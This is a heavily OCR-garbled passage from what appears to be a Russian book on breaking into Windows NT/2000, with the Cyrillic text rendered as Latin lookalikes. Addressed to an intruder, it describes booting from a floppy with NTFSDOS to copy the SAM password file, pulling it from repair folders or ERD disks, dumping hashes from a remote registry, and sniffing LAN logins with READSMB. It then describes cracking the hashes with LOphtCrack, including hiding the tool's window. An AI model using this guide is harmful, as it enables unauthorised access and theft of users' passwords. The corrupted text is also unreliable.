TPpU COCTABIAIOIINEC:

1. ®usnueckuii JOCTYI K KOMIIBIOTEPY;
2. IocTyIl B JIOKaJIbHOM CeTH;
3. Joctyr B r100aJIbHOM CEeTH.

DTU TP COCTABJISIONINE OUEHb TECHO CBSI3aHbI MEXIY COOO0I, TOITOMY
MbI TTOCJIEZIOBATEIbHO PacCMOTPUM MX. [IpuBeIeHHbIE HUXE CIOCOOBI Mpe-
OIIOJIEHUSI 3alIUThI ITUX TPEX YPOBHE MOMOTYT MOHSTh CaM MIPUHLIMI B3JIoMa
cucreMbl. KpoMme Toro, xakepckue MHCTPYMEHTBI TIEPBOTO U BTOPOTO YPOBHS
4acTO MOTYT MTIOMOYb B3JIOMIIIMKY KOMITBIOTEPHBIX CUCTEM, €CJIM OH paboTaeT
yaajaeHHo yepe3 Internet.

CpemnaeM HebobIIoe OTCTYIUIeHHEe. HeobXxommMo NMoHSITh OAUH IIPO-
croit nmpuHLMIl. Bece Teder, Bce M3MEHsIETCsI, M Ha JIIOObIE KaBep3bl XaKEPOB
YMHBIE TTPOTpaMMEPBI U CUCTEMHBIE aIMUHUCTPATOPHI IPUAYMAIOT CBOU Mpe-
MOHBI ¥ 3auuThl. Ho mpuHIMNI B3jIoMa OHU MOOEAUTHL HE CMOIYT, MO0 UTO
OJIMH YeJIOBEK c/esall, Apyroi 3aBceraa pa3oopaTb CMOXKET. A T€ MPOrpaMMBbl,
KOTOPBIMU HEOOXOIMMO I0JIb30BaThCsl, MOTYT YCTapeTh, UM T€ KOHKPETHBIE
IIBIPHI B 3al[UTE, ONMCAHHbBIE B 3TOH IJIaBe, Yepe3 HEKOTOPOE BpeMs OYAyT 3a-
JIaTaHbI TeCOYHO0-0e331mHbIM brmi... Haunem ¢ mpocToro.

'AnaBa 2.
dusnyecknmn AoCTyn K KOMnbloTepy

Yro Takoe pusnUecKuii JOCTYN K KOMIbIOTEPY? DTO 3HAUMUT, YTO BbI
MMeeTe MOCTYN K KOMIbIOTepYy, Ha KOTOPOM HaXOAUTCSl MHTEpeCyolasi Bac
nHbopmMauus. IlpuyemM 10CTyIl 3TOT GU3UUECKUA, T.€. BBl MOXKETE ITOAONTU K
9TOI MalllMHe, TOTPOraTh ee pyuKaMHu. KenateabHo, YTOObI TPOraHUe pyvKa-
MU OBbLIO BOCIIPUHSITO OKPYKAIOIIMMU 0€3 3MOLIMIA, a JIydllle BOOOIe He BOC-
MIPUHSITO, T.€. Bbl TaM YaCThIi FOCThb, WM JYYILIHI IPYT CBOETO Heapyra (3auemM
JIpy3eii MOACTaBIsATh), UIH.., HY B 00IIEM, BBl — yXac, JETAIIN Ha KPbLIbIX
HOYM, HUKEM He 3aMe4YeHHbII. BOT 4TO 3HAYUT (husuueckuii docmyn.

CHauajia HeMHOT0 00111e00pa30oBaTeIbHBIX MOMEHTOB.

B cemeiictBe onepannonabix cucteM Windows NT peann3zoBaHa Bo3-
MOXHOCTb KOHTPOJISI 32 JIOKAJIbHBIM JTOCTYTIOM (T.€. TOCTYIIOM K JIOKAJTbHOMY
JIMCKY, BUHTY, €CJIY TaK MOHsATHee). Peann3yeTcst 9Ta BO3MOXHOCTD € TIOMO-
mbio HoBoIi (110 cpaBHeHUIO ¢ FAT) (aitmoBoit cucremoii NTFS Ha ocHoBe
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pacivpenuii gaiitoBoii cuctembl. Boobmie-to Windows NT noanepxusaer
nBe cucteMbl — FAT u NTFS. IToaToMy MbI paccMOTpUM c1oco0 B3JioMa CHa-
yana qyist FAT.

CaMmblii MPOCTON M HAIeXXKHbBIN — 3arpy3Ka ¢ TUCKEThl ¥ KOMTUPOBAHUE
naHHbiX Ha ZIP-guckoBoa. Takum o6pa3oM, BaM CTAaHOBUTCS JOCTYITHOM BCSI
Ta yacTb MH(GOpMaLMK, KoTopast XxpaHurcs ¢ momoiisio FAT. Ho takyro xansi-
By BaM BpsA JM Korma mnoacyHyT. Ckopee Bcero, MpUIETCS TOBO3UTHCS
¢ NTFS. Bot TyT u HaunMHaeTCs Hallla MecHs.

NTEFS ucrnonb3yloT Bceraa, Koraa TpedyeTcs 3alllUTUTh MH(POpMAaILIIO
U pacIpeaenTh 10CTym K Heil. Ho BoT 6ema — Bce 9To paboTaeT TOJIbKO Ipu
pabore mog Windows NT. A BoT eciiu BaM yaactcs 3arpy3utb MS-DOS ¢ ouc-
KeThI, TO Ji100asi nHpopmMalus U3 pasnesioB, padotatomux nog NTFS, moxer
ObLIb cuuTaHa ¢ moMoiibio apaiiBepa NTSFDOS.EXE (aBtop — Mark
Russinovich, mokioH emy 3eMHoli). M1 HMKakasi cucteMa 0Oe€30IaCHOCTU
Windows NT TyT He mOMOXeT, Hy, KpoMe 3JIOOHOTO CHMCaIMUHa, KOTOPBIA C
nyOouHKO nexxypui Obl psimoM. Ho, ectectBeHHO, HyXeH auckoBo. Eciu ero
HET, a TAKOe MOXET ObITh, WJIM OH KaKUM-TO 0O6pa3oM BaM He TOCTYIeH, 1 Ta-
KO€ MOXET OBITh TOXE, 3HaTh, HE CyAb0a — HaJ0 UCKATh APYIroil Crioco0.

Hy, BOT Bbl HE3aMETHO 3arpy3WINCh C IMCKETHI, 3aMyCTUJIN MPOrpaMM-
ky NTSFDOS.EXE u o6HapyXuBaeTe, YTO HU4ero He BUIUTE WU BUAUTE, HO
MOHSTh WM MPOYECTh HE MOXETe. A 3TO 3HAYUT, YTO CUCAIMUH OKa3ajics
YyTh-4yTh YMHEE, YeM MbI MIperonaraiv, u 3amudpoBai nHGOPMAIIMIO Ha
JIMCKE TIOCPEICTBOM MPOrpaMMHBIX WJIM allapaTHbIX cpencTs. 3aiundpoBaTh
OH €€ MOT WIM CPEICTBAMU KaKOM-I1MO0 MOCTOPOHHEN MporpamMmbl (anmnapa-
Ta), uau ¢ nomouiblo Windows NT (Takas BO3MOXHOCTb yXke MOSIBUJIACh B
Windows 2000). Tak kak Mbl B 3TO¥ IJ1aBe OCBelaeM MeToibl B3toMa Windows
NT, To nmpo MeTOo/bl B3IOMa CUCTEM IIUGPOBAHUS MaJIO Yero ckaxem. Mbl
MPOCTO MEPEYUCTUM HEKOTOPhIE U3 HUX:

SeNTry2020 (http://www.softwinter.com);
SecurityPlus (http://www.softbytelabs.com);
Cryptext (http://www.tip.net.au/~njpayne).

A ecii BAPYT 0OBEKTOM Balllero BHUMaHUsI CTajla MallliHa, HaxoasIIa-
sSICST HA TOCTIPETIPUSATUM UJIW Ha TIPEATNIPUSITAN, HA KOTOPOM pa3MelleH roc3a-
Ka3, TO MOXHO OIHO3HAYHO ONpPEIeNUTb, YTO MCIOJb3yeMasl TaM cucTema
mudpoBanus — «Bepba-OW» (http://www.security.ru), Kotopasi cepTudu-
uupoBaHa @ATICH. KoHeuHO, 3TO MOXKET ObITh U HE 3Ta CUCTeMa 1 poBa-
HUsI, HO o0s13aTenbHO cepTuduumpoBanHast @AIICH. A Takux cUCTEM He Tak
VXK MHOTO. /Ia ¥ CITHCOK TaKMX CHUCTEM MOKHO JIETKO Y3HaTh, TaK Kak HeT JIy4-
LIel peKyIaMbl AJig mpogaxu, yeM ceptudukat GAIICH.
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B tom ciydae, ecnu uHdopManus 3amudpoBaHa ¢ MOMOIIbIO Ka-
KOM-1160 mporpaMMbl, TO CaMbIi TIPOCTOM CITOCOO — 3TO HAMTHU KJIIOY, CITO-
€00 moTpyaHee — ero oTrajath. A BOT €CJIM YCTAHOBJIEHO allnapaTHoe 1ud-
poBaHue, TO TyT 0e3 KJw4ya HUKaK He o0oiTuCh. Kitou MoxeT OBITh
MPOTPaMMHBIA, BBIHOCHOI (Ha BHEIIIHEM HOCUTeJIe) U KOMOMHUPOBAHHBIM.
¥ nac B Poccuu pacnipoctpaneHs! mmdpytonye KOHTPOJIEPbl TUCKOB CEPUU
KPUIITOH, umetomue ceprudukar GAIICH.

Ecnu BaM ynanoch MoIydyuTh GU3NUECKUii JOCTYIT K MH(POpMalMKY Ha
MalllHe, TO BBl IPUCTYITaeTe K CICAYIOIIEH CTaquy B3JIOMa CUCTEMBI, 2 UMEH-
HO K ITOJTyYeHUIO TIapoJIei TI0JIb30BaTeIeil CUCTEMBI U/ WJIU TTpaB alMUHUCTpA-
topa. CymecTByeT Takoi ¢aitn SAM, B HeM XpaHSITCS YIETHBIC 3aITUCH TO0JThb-
30Baresieit ¥ ux mapoiu. [TosyduTs K HeMy JOCTYIT BOBMOXKHO, 3aTpY3UBIINCH
C IMCKETHI U cCKOMUpoBaB 3TOT aityi. Cam (aiin pacrosnaraeTcsi B KaTajaore
WINNT\SYSTEM32\CONFIG\. Korna Windows NT 3amnyimieHa u paboraer,
nmocTyn K daitiry SAM, kKotopbrit pacrionaraercs B aupektopu WINNT\SYS-
TEM32\CONFIG\, uMmeeT TOJbKO aIMUHUCTPATOP, HO (haiiJT MOKHO CKOTTH-
pOBaTh, 3aTPY3UBIIUCH C CUCTEMHOM TUCKETBI.

Ecnu Bam ynanocsk 3amonyuuth ¢aiin SAM, To i B3J1oMa Bbl MOXeETe
ucnonb3oBath nporpaMmMmy LOPHTCrack. Haiitu ee BO3MOXHO B IMTOUCKOBOI
cucreme Rambler.ru unu AltaVista. Huxke npuBeaeHo 6osiee moapoOHOe Omu-
CaHue JaHHOW MPOrpaMMal.

J1st Toro yToOB! N30€XKaTh TPOCMOTPA MapoJieii, UX MOABEPratoT X3~
poBaHuio. Ho, Kak u3BecTHO, 4TO 3amncpoBaiu, To paciuindpoBaTh MOXHO.
XOTs X3IIMPOBaHUE UMEET OJHY HEMPUSITHOCTD: [IJIsSI BOCCTAHOBJIEHUS TIapOJIst
HaJ0 nepedpaTh Bce BOBMOXHbBIE 3HAUEHUsI. A, ClIeJ0BaTeIbHO, CYIIeCTBYET
MPOIOPLMOHAIbHAS 3aBUCUMOCTh MEXIY BpeMeHeM, TpeOyeMbIM ISl Jie-
X3LIMPOBaHUS, IJIMHOMN MapoJjis U KOJIUYECTBOM MPUMEHSIEMbIX CUMBOJIOB.

CraHgapTHO MPOrpaMMbl OTPAHUYMBAIOT IJIMHY MapoJst 1o 13-16 cum-
BoJioB, xoTs1 Windows NT nmomnepxuBaer mo 128 cumBosoB. Eie omHa xur-
pocThb B TOM, uTo (aitn SAM conepXuT ABa X3IMPOBAHHBIX MMPEACTaBICHUS
OITHOTO U TOTO € MOJIb30BaTeJIbCKOTO TAapOJIst, TTOJYYeHHBIE C ITIOMOIIIBIO pa3-
HBIX anropuTMoB. OnuH n3 HuX — B craHgapte Windows NT, npyroit — B
crangapte LAN Manager. Booomie ctanmapt LAN Manager IpruMeHSIIOT ISt
TOTO, YTOOBI TOOUTHCS coBMelIeHUsI ¢ npyruMu OC, ycTaHOBJIEHHBIMU Ha pa-
6ounx craHusx, HarpuMep: Windows 3.11 for Workgroups u Windows 95/98.
BoT To, 0 Yem MBI TTHCaJIU BhIIIe: BCEBO3MOXKHBIE TOCTOMHCTBA MOXKHO 0Opa-
TUTh B HEMOCTATKH, Belb X3IIMPOBAaHHBIM Mmaposb ctaHmaptra LAN Manager
¢/1a00 YCTOMYMB K B3JIOMY, TaK KaK KaxXk/masl 13 IBYX IIOJIOBUH 14-0aliTOBOTO
CHMBOJILHOTO TTapoJist X3IIMPYeTCs HE3aBUCUMO, a Pe3yJIbTaThl 3aTeM COCIU-
HsroTcsl. TakuMm o6pa3oM, BerauciaeHre 14-6aiiTOBOro maposisi 3KBUBAJICHTHO
B3JIOMY JIBYX 7-0aliTOBBIX IMAapoJICii, YTO 3HAYMTEILHO COKpaIllaeT YMCJIO BO3-
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MOXHBIX KOMOMHalMii Ay nepedopa. [1o 3Toil mpuuuHe, eciu Bbl OyneTte
B3JIaMbIBaTh MapoJjib, TO CHayaJla 3aiiMUTECH MApoJieM, 3aX3IIMPOBAHHBIM IO
crangapty LAN Manager.

Cymectyomiast porpamma LOphtCrack, paboratomiass Ha Pentium
11-450, MoXeT BCKPHITh apOJIb JTI000M JJIMHBI, KaK CIIeJIBIN ap0y3, IPUMEPHO
3a TpOE CYTOK (HUXE Mbl pacCMOTPUM pabOTy 3TOM YTUJIUTHI MOJApoOHEe).
OOBIYHO HAWMBHBIE AIMWHMCTPATOPHI 3alUIIAKTCS C TOMOIIBIO YTUIUTHI
SYSKEY, Bxomsmeit B coctaB Service Pack 3. SYSKEY no3BossteT nomoaHm-
TeJbHO 3a1ndpoBaTh NaHHbIE B SAM, mociie 4ero nmporpaMMbl U3BJICYEHUS U
BOCCTAHOBJICHUS TIApoJieii He CMOTYT KOPPEeKTHO 00pabaThiBaTh MHGpOpMa-
LIMIO U3 3TOTO (haitiaa. DTo Hafo yUYUThIBaTh. Ho ToMHMTE — BCe Teuer, Bce U3-
MeHsieTcs, 1 rocienHsis Bepcus nporpamMbl LOphtCrack no3Bosisier mpoouts
1 JIOTIOJIHUTENIbHOE IUMPOBAHNUE 3TON YTUITUTHI.

hnasa 3.
N3BAeYeHne 1 BCKpPbITUE TEKCTOBbIX MAPOAEN
U3 yKpaAeHHon SAM

PaccmoTpum B31oM SAM-aiina 6osee moapoOHO, yriayouMcs B aeTa-
Jn... Vitak, Kak ObLIO CKa3aHO paHee, MH(popMalus 000 BcexX MoJib30BaTeIsSIX
Windows NT/2000 1 ux raposisix XxpaHUTcs B 6a3e JaHHBIX CUCTEMBbI (registry),
KoTopasi (OM3UYeCKH pacrojiokeHa B daitie %SystemRoot%\SYSTEM32\
CONFIG\SAM — 6a3e naHHbIX 0€30MaCHOCTU CUCTeMBbI. JlaHHBII (haiia sB-
JIIeTCs TI0 YMOJTYaHU IO 3a0JJOKMPOBAHHBIM, T.K. UCTIOJb3YETCSsI TPOYMMU KOM-
MOHEeHTaMU cucTeMbl. [103TOMY BaM He yIacTcsl HAalpsIMyl0 CKOITUPOBaTh ITOT
(aitn. OgHako, eciiv aAIMUHUCTPATOP CUCTEMBI PETYJISIPHO BBITTOIHSIET Orepa-
uuio coznanus qucka ERD (Emergency Repair Disk), To OTHOCUTENIBHO CBe-
Xasi KOIusI JaHHoro aiia comepxkutcs B mupekTopun %SystemRoot%\
REPAIR\. Ho eciu agMuHKMCTpaTOp CUCTEMBI HE BBITIOJIHSUI JAHHYIO orepa-
LIMI0, TO MOJydeHHast 6a3a OymeT coaepxarth Mojib3oBaTelieii Administrator u
Guest, ¢ maposiMU, MPUCBOCHHBIMU BO BPEMSI MHCTALISILIMKM ONEepallMOHHOMI
cucremsl. ITaponu B naHHOM (aiiie xpaHaTcs B 16-0aiiTHOM 3HaYeHUU, 3a-
mudpoBaHHoM (B konrpoBke UNICODE) ¢ ucnosib3oBaHUEM X311I-aJITOPUT-
Ma MD4. [Tostomy mis B3inoma napoJeit Windows NT/2000 Bam HeoOXxonumMo
BBIICTUTH U3 0a3bl JAaHHBIX 0€30MAaCHOCTH CUCTEMbI UMsI MOJIb30BaTeNsI U CO-
OTBETCTBYIOIIIEE eMy X3IlI-3HaueHue. JJaHHas polieypa MOXET ObITh BBITOJI-
HeHa C MCIOJIb30BaHUEM IPOTrPaMMHOTO OOeCIeueHUs, JOCTYITHOTO 4epe3
Internet 1 onmMcaHHOTO HUXE.

132 B3aom Microsoft Windows 2000

AaBa 4.
Nporpamma LOphtCrack

IMporpamma LOphtCrack 1mo3BoJisieT BBIUMCIATH MApOJU, MCIOIb3YS
IIBa pa3IM4IHbBIX MeTona. [1pu nCIIoab30BaHNY IEPBOTO METOAA IIPUMEHSIETCS
MIOMCKOBas CJIOBapHasl TabJMIla, KOTOPYIO OIpenesseT CIelraaIbHbINA (aiin
clioBapsl. X3IIMPOBAHHBIC TTAPOJIY IJISI BCeX CJIOB B (paiijie coBapsl yKe SIBIISI-
IOTCSI BBIYMCICHHBIMU ¥ CPAaBHUBAIOTCSI CO BCEMU ITAPOJISIMHU IS ITOJIb30BaTe-
et manHoir SAM. Korma nMmeercss COOTBETCTBUE — MapOJIb U3BECTeH. DTOT
METOJI Ype3BEIYalfHO OBICTp. ThHICSYM ITOJIB30BaTEIeit MOTYT OBITH IIPOBEPEHEI
ripu oMo 300 Kb datina cioBapst Bcero 3a HECKOJIBKO MUHYT Ha OOBIYHOM
PII. HegocTaTok 3TOTO METOmA COCTOMT B TOM, YTO IPHU ITOMOIIU CJIOBaps
MOXHO OIIPEIEINTh TOJIbLKO OYEHb IIPOCTBIC ITApOJIM, KOTOPHIE CYIIECTBYIOT
B aHIJIMICKOM SI3bIKe (CIOBapHEIN 3amac KoToporo He mpesbimaeT 100 ThIC.
CJIOB).

J1st oTKpbITUS cioBapsi word-english BaM He0O0XOAMMO BBINOJIHUTH
komaHny «File» (Paiin) &> «Open Wordlist File» (OTKpbITB C10Baph).

Bropoii MeToa ucnoib3yeT MnocieaoBaTe bHbIi epedop Habopa cuM-
BoJIOB TUMA A-Z nnu A-Z v 0-9 (1 TakKe Apyrux HAOOPOB) M BBIUMCIISIET X1
JIJIST K&KIOTO BO3MOXKHOTO ITapoJist 7151 STUX CUMBOJIOB. EAMHCTBEHHBIN HE10-
CTaTOK JaHHOTO MeToaa — BpeMsl. JlaHHbII METO/T UCITOb3YeT MHTEHCUBHBII
rnepedop 3HAYEHU, YTO TpeOyeT OOJIBIINX BBIYMCIUTEIBHBIX MOIIHOCTEM.
Yem Oosbimii HabOp CMMBOJIOB Bbl yKazanu B MeHIo «Tools» (Ceppuc) =
«Options» (ITapameTpsi), TeM J0JIbIIIE BpeMEHU TPeOyeTCs s Tiepebdopa Beex
3HAYECHUM.

Ha6op cumB0o10B A-Z TpeOyeT NpUOIM3UTEILHO 7 4aCOB BEIYMCISHUMN
Ha 600 repuossix nporeccopax PIIT wim Athlon. TpencraBbTe cebe, 4TO Yyepes
Kakue-HuOyab 7 4acoB BhI OyIeTe UMETh KJIIOUM OT CUCTEMEBI 1 OyIeTe 3JaKuM
MaJIeHbKUM 00TOM, MECTHOTO 3HAYeHUS MM HE MECTHOTO, KaK MOBE3eT.

Ha6op A-Z u 0-9 TpebyeT NpubIU3UTENBHO TPOE CYTOK.

Opnnako niporpamma LOphtCracks paspaboTaHa ¢ yueToM BO3MOXHO-
CTU MHTEHCUBHBIX W JOJTOBPEMEHHBIX BBIYMCIEHUN ¥ MOXET MCIIOJb30BaTh
MPEUMYIIECTBA MHOTOIPOLIECCOPHBIX CUCTeM. Ecim BB He XOTUTE, YTOOBI
IporpamMma TMpUCYTCTBOBaJla B MaHEJM 3aiad, BeIoepuTe B MeHIO «Window»
(OkHo) = «Hide, Ctrl+Alt+L to Show» (Cripsitath, 17151 BBIBOJa Ha 3KpaH Ha-
xmute Ctrl+Alt+L).

Ipu 3amycke OJaHHOI MPOrpaMMbl HA MHOTOIIPOLIECCOPHOM CepBepe
OHa Oy/IeT BBIIOJIHATHCS HU3KUM IIPUOPUTETOM, MCITOJIb3YSI BBIYUCIUTEIbHbIC
BO3MOXHOCTH HEaKTMBHOIO LIEHTPAJIbHOIO Ipoleccopa. IIporpaMmma pery-
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JISIPHO, Yepe3 KaxXIbIe ISATh MUHYT, COXPAHSIET PE3YJIbTaTbl BBIYMCICHUM, YTO
MO3BOJISIET BOCCTAHABIMUBATb COCTOSIHUE BBIYUCIIEHUI B CIyYasiX OTKIIIOYECHUS
NUTaHUA UJIN IIEPE3arpy30K.

OTtkpbiTUE (aitia, ¢ KOTOPBIM ITporpaMMa paboTaia a0 nepe3arpy3ku
MoxHO 13 MeHIo «File» (Paiin) = «Open Password File» (OTKpbITh (haiin ma-
posneit).

NHCTAAASLMS

JJ1s1 MTHCTAJISILIMY IPOCTO pa3apXUBUPYUTE AUCTPUOYTUBHBIN apXUB B
JII000# KaTtajor Ha xecTkoM nucke. Coszpaiite sipiabik K nporpamme 10pht-
crack.exe (usm 10phtcrack95.exe mist Windows 95/98). KpoMe Toro, eciiu Bbl
bu3mIecKkn TONKITIOYEHB K NAHHOW JIOKAJIBHOW CETU W HCIOJb3yeTe
Windows NT 4.0 (uau Window 2000), BB MOXeTe UCITOJb30BaTh CETEBOM
sniffer readsmb.exe, 1pu MOMOIIM KOTOPOTO MOXKHO TOJIYYUTh MApPOJIU K-
eHtckux mamuH Windows 3.11/95/95 u MS-DOS. Ilepen ucnosnb3oBaHUEM
cereBoro sniffer'a Heo6xoaMMO MpeIBaPUTETHLHO YCTAaHOBUTD ceTeBoit NDIS-
JpaiiBep, KOTOPBI BXOAUT B TUCTPUOYTUBHBIN KOMIUIEKT. DTOT ApaiiBep MO-
KeT paboTaTh TOJBKO MTOBEPX JApaiiBepa peaJbHO MPUCYTCTBYIONIEH B CUCTe-
Me cereBoit Ethernet-rutatel m ucrnonb3yer nporokon CSMA-CD. dns
ycranoBku NDIS-apaiiBepa orkpoiite anmiet «Network» (CeTb) B maHenu
ynpasienusi. Ha Bkianke «Protocols» (ITpoTokosbl) HaxxMuTe KHOTIKY «Add»
(do6aButh). 3aTeM Haxkmute KHOTKY «Have Disk» (YcTaHOBUTH ¢ AucCKa) U
orpeeiuTe Katajor, B KoTopbiii Bbl ycraHoBwIM LOphtCrack 1 B koTopom
HaxonuTtcs daitn Oemsetup.inf. [Tocne nepezarpy3ku Bbl CMOXETe UCTIOIb30-
BaTh ceTeBoi sniffer readsmb.exe st repexsaTta MapoJjeil KIMEHTCKUX Ma-
muH Windows.

MoAy4YeHUue X3LWMPOBAHHbIX NAPOAEN

[Mepen BEMUCTIEHEM TTAPOJICH HEOOXOMUMO MOTYIUTh TOCTYTI K X3IITH -
pOBaHHBIM TTapoJisiM. CyIIECTBYIOT TP OCHOBHBIX METO/IA TTOJTYICHUST X3IITH -
POBaHHBIX TapOJieil: HEITOCPEACTBEHHO M3 CUCTEMHOTO peecTpa, U3 daiina
SAM wunu npu noMo1u ceteBoro sniffer'a.

MoAyyeHne X3LWNPOBAHHBIX MAPOAEN
HEenocCpeACTBEHHO U3 peecTpa

Ecnu BbI 061328 Te aAMUHUCTPATUBHBIMU TPUBUJIETUSIMU, BBl MOXKETE
MOJIYYUTh X3IIMPOBAHHBIC TTApOJIM, UCITONb3yst KoMaHay «Tools» (CepBuc) =
«Dump Password from Registry» (ITonyunts namn napois u3 peecrtpa). s
3TOTO YKaXuTe uMsl komnblotepa uiu aapec [P B popmare \\Computer_name
nau \\IP-address.
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Onnako cepep Windows NT/2000 MoXeT 3alpeTUTh MOMBITKY H0CTY-
Ma K CUCTEMHOMY DPEecTpy MO CeTH, eclii CKOH(UTypupoBaH HaJiexalium
obpazoMm.

Kpome Toro, ecnu Bepcusst Windows NT/2000 nokanuszoBaHa, st
rpyniibl «Administrator» 1ucrosb3yeTcs mepeBeicHHOE Ha IPYToil SI3bIK CJIOBO,
HampuMep JJII PyCCKOTO SI3bIKa «AJIIMUHACTPATOP». [IJ151 TOTO, YTOOBI TPOrpaM-
Ma LOphtCrack KoppeKTHO 00paTHIach K JaMITy CUICTEMHOTO peecTpa yaaJleH-
HOTO KOMITBIOTEPA, BaM HEOOXOIMMO U3MEHMTD KJTI0Y CUCTEMHOTO peecTpa Ha
BallieM JIOKaJTbHOM KoMIibloTepe. J1Jis 3Toro 3amycture mporpammy regedit.exe
u otpenaktupyiite 3HadeHne kimoda HKEY_CURRENT_USER\Software\
LHI\LOphtCrack\AdminGroupName.

IIpucBoliTe 3HaUEHUIO TOrO KJIl0Ua Ha3BaHue rpymmnbl «Administrator»
n1s Tokanu3zoBaHHoM Bepcun Windows NT (2000).

MoAyYeHne X3WUpOoBAHHbBIX NapoAen ns pamaa SAM

Bel MoxxeTe moyuuTh X3IIMpOBaHHBIE Iapoiu u3 ¢daitta SAM Ha
XKECTKOM IMCKe, ¢ pe3epBHOM JeHThl mian auckeTel ERD (Emergency Repair
Disk). Cucremuslii peectp NT dakTudecku coxpaHeH B HECKOJIbKUX pa3iny-
HbIX (aillax Ha CHUCTEeMHOM aucke B Karajore %SystemRoot%\SYS-
TEM32\CONFIG\. Eciu Bbl nMeeTe pU3NIECKHUIi JOCTYIT K KOMITBIOTEPY C
yCTaHOBJIEHHOW omepaiMoHHoi cuctemoir Windows NT/2000, BbI MoxkeTe
3arpy3uTh MAIIUHY IIPY IIOMOIIM CUCTeMHOM nuckeThl DOS 1 ncnonb3oBaTh
nporpammy tina NTFSDOS (http://www.ntinternals.com/ntfs20r), 4To0ObI
ckonupoBaTh daitn SAM Ha rubKuil 1UCK. 3aTeM BBl MOXKETE MCIOJIb30BaTh
komanay rporpammbl LOphtCrack «Import SAM File» (Mmmopt SAM -daii-
J1a), KoTopas pacrnonioxeHa B MeHI0 «File» (Paiin), 4ToObI U3BJIEUb X3LIUPO-
BaHHBIA mapojib 13 ¢aitma SAM. Eciu Bel paboraeTe ¢ KOMIIBIOTEPOM
Windows NT (2000) yzaieHHO, TO BaM OCTaeTCs TOJIbKO BOCIIOJIb30BaThCS Pe-
3epBHOM Kommeir ©0a3el SAM, KoTopass XpaHUTCSI B Karajore
%SystemRoot%\REPAIR\. Kpome Toro, ecnu y Bac mmMeeTcsi BO3MOXKXHOCTb
MOJIYYUTh JOCTYIT K KacceTaMm CTpUMepa, Ha KOTOPBIA TIPOU3BOIUTCS €Xe-
nHeBHBIM backup unm K gucketam ERD, To BBl MoxeTe cKOmupoBaTh (haiin
SAM orryna. Ecim Bam ymanoch ucmoiibp3oBaTh auckery ERD, ckommpyiite
OTTYyJla CXaThli (haiisl sam._ 1 3aTeM BbITIOJIHUTE KOMaH/Ly:

EXPAND SAM._ SAM
3aTteM paszxkaThlil (aiin sam._ MoxeT uMmnoprupoBatbes B LOphtCrack.

OpnHako eciii afMUHUCTPATOp CUCTeMbI ycTaHoBMII Service Pack 3 for
NT 4.0 u ucnonszyet yrunuty SYSKEY 111 nonosHUTE1bHONM KPUTITOYCTOM -
yuBoit mubpauuu ¢aiiyioB peectpa, To mporpamma LOphtCrack (aTo cripaBen-
JINBO 11 Bepcuii 6bosiee paHHux, yeM LOphtCrack 2.5) He cMOXeT mpou3Bec-
A UMIIOPT (aiina SAM.
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McnoAb3oBaHme ceTeBoro shiffer'a AAq NOAyYeHus
X3LWMPOBAHHBIX NAPOAEN

Ecnu anmuHucTpatop cuctemsl ucronbdyet yruiuty SYSKEY u Bam
OTKa3aHO B JAOCTYIE€ K CUCTEMHOMY PEECTpY IO CETU, UMEETCS TPETUI METOZ,
JUTSI TIOJTYYE€HUS X3IIMPOBAHHBIX MapoJsieil. 1151 3Toro ucnosb3yercst CeTeBO
sniffer, KOTOPBIiA BBITTOJHSIET TPOCTYIIMBAHUE U OTOOP MAKETOB JJIsl BCEX yC-
TpoiicTB B husznueckoM cermeHnte Ethernet-ceTu.

Cetesotii sniffer, BkiroueHHsli ¢ LOphtCrack, peasinzoBaH B Bue ¢aii-
Jia readsmb.exe, Kotopsiit paboraet Tosibko B Windows NT 4.0 (B mocnemaHer
BepCUH TTPOTpaMMBbI peaiu3oBaH ceTeBoii sniffer mrst Windows 95/98).

s 3amycka ceteBoro sniffer'a ciaenyer ncnojib3oBaTh KOMaHy:
READSMB > PASSWD

Kaxk BbI BUANMTE U3 TAHHOW KOMaHIbI, BCSI WHMOpMALIKS, TTOTydeHHAs
cereBbIM sniffer'om, OyaeT repeHanpaBsATbCsl B TEKCTOBBIN aitn passwd. Jlist
cbopa Bcex X3MIMPOBAHHBIX IMAPOJICH MOJb30BATENsI JOCTATOYHO 3aITyCTUTh
sniffer omuH pa3 yTpoM, B IepHOa BpeMeHU, KOraa GOJIBIIMHCTBO MOJIb30BaTe-
Jiel TIPUXOANT Ha paboTy U MPOU3BOIUT PETUCTPALIMIO B CETU. 3aT€M BBl MO-
XKeTe MpepBaTh paboTy 3TOW MporpaMMbl M OTKPHITH (aiinm passwd
B LOphtCrack.

st BKITIOUEHHYSI peXXrMa OTJIaAKH sniffer'a ncronb3yiite KOMaHy -V:
READSMB -V

Ha MenieHHBIX MalllMHAX -V OIIMST MOXKET OpUBOAUTH K TOMY, YTO
readsmb 6y,E[CT MPOITYCKaTh HEKOTOPbBIE MAKEThI, TAK YTO 3TA ONILIMS ACUCTBU-
TE€JIbHA TOJbKO JJIA OTJIaAKN U UCCIICNOBaHUA.

BbiaoeAeHue napoAen us xawa

ITocse Toro, Kak Bbl MOJIYYMIM HAOOp X3IIMPOBAHHBIX Maposieil u 3a-
rpy3win ux B mporpammy LOphtCrack, a Takke OTKpbUIM c0Bapb word-eng-
lish, BBl MOXeTe MPUCTYIUTD K BBIYMCIEHUIO HACTOSIIIIMX TEKCTOBBIX MapoJieit.
st Havasa 9Toi orepalyy BbIoJHUTe KoMaHay «Run» (3amyck) U3 MeHIo
«Tools» (CepBuc).

Omnuuu, ycraHOBJIeHHbIe B auaiioroBoM okHe «Tools Options» 1o
YMOJIYAaHUIO, OMPEAEIISTIOT, YTO CHavaja OyIeT MpOoU3BeIeHO BEIYUCICHUE Ma-
pousieit mpu roMolu cioBapst word-english. 3atem OyaeT Mponu3BOAUTCS OMpe-
JleJieHUe MapoJieil Mpu TMOMOILU TOCIEN0BATeIbHOTO Mepedopa 3alaHHbIX
3HaYeHM, 4TO TpeOyeT yxKe Oosee miureabHoro BpemeHu. LOphtCrack coxpa-
HSIET COCTOSTHYE BBIUMCIICHUI Kaxable 5 MUHYT B *.LC ¢aiir.

136 B3aom Microsoft Windows 2000

Hosble Bo3amoxxHoCcTM LOphiCrack 2.52

* YBenuueHue ObicTponeiicTBrs Ha 450% 3a cueT
ONTUMU3UPOBAHHOTO acceMOiepHoro Koaa st Pentium,
Pentium MMX, Pentium Pro u Pentium II u II1. 910
MPUBOAUT K yBeJIMYEHUIO ObIcTpoaeiicTBUsI. Bee
aihaBUTHO-LIUGPOBBIE MAPOJIU MOTYT ObITh HAlIEHBI 32 TPOE
cytok Ha Pentium 11/450.

* HoBgbiit rubpuaHbIii MeTOA paciindpoOBKUA OObEIUHSIET CaMble
